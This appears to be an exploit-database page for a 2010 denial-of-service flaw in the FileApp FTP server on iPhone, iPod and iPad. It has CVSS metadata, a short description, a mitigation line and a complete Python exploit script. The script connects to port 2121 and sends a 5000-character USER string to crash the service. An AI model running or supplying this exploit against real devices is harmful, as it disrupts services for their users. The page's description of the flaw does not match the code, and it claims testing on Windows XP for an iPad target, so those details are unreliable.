FileApp < 2.0 FTP Denial of Service for iPhone,iPod,iPad

vendor:

FileApp

by:

m0ebiusc0de

7,5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: FileApp

Affected Version From: FileApp < v.2.0

Affected Version To: iPad 3.2.2 (jailed)

Patch Exists: NO

Related CWE: N/A

CPE: a:digidna:fileapp

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP PRO SP3

2010

FileApp < 2.0 FTP Denial of Service for iPhone,iPod,iPad

A denial of service vulnerability exists in FileApp < v.2.0, iPad 3.2.2 (jailed) when a malicious user sends a large number of USER and PASS commands to the FTP server. This causes the server to crash and become unresponsive.

Mitigation:

Ensure that the FTP server is configured to limit the number of USER and PASS commands that can be sent in a given period of time.

Source

Exploit-DB raw data:

# Title : FileApp < 2.0 FTP Denial of Service for iPhone,iPod,iPad
# Date : 02/10/2010
# Author : m0ebiusc0de
# Software : http://www.digidna.net/products/fileapp/download
# Version : FileApp < v.2.0, iPad 3.2.2 (jailed)
# Tested on : Windows XP PRO SP3

#!/usr/bin/python

# FileApp < v.2.0 FTP Remote DoS exploit
# tested on iPad 3.2.2

import socket
import sys

def Usage():
    print ("Usage:  ./FileApp.py <serv_ip>\n")
    print ("Example:./FileApp 10.10.10.10\n")

if len(sys.argv) <> 2:
        Usage()
        sys.exit(1)
else:
    hostname = sys.argv[1]
    username = "\x41" * 5000
    passwd = "a@b.com"
    #username = "anonymous"
    #passwd = "\x41" * 5000
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        sock.connect((hostname, 2121))
        print "[+] Connecting to the target.."
    except:
        print ("[-] Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    sock.send("USER %s\r\n" %username)
    sock.send("PASS %s\r\n" %passwd)
    sock.close()
    print "[+] Exploited!"
    sys.exit(0);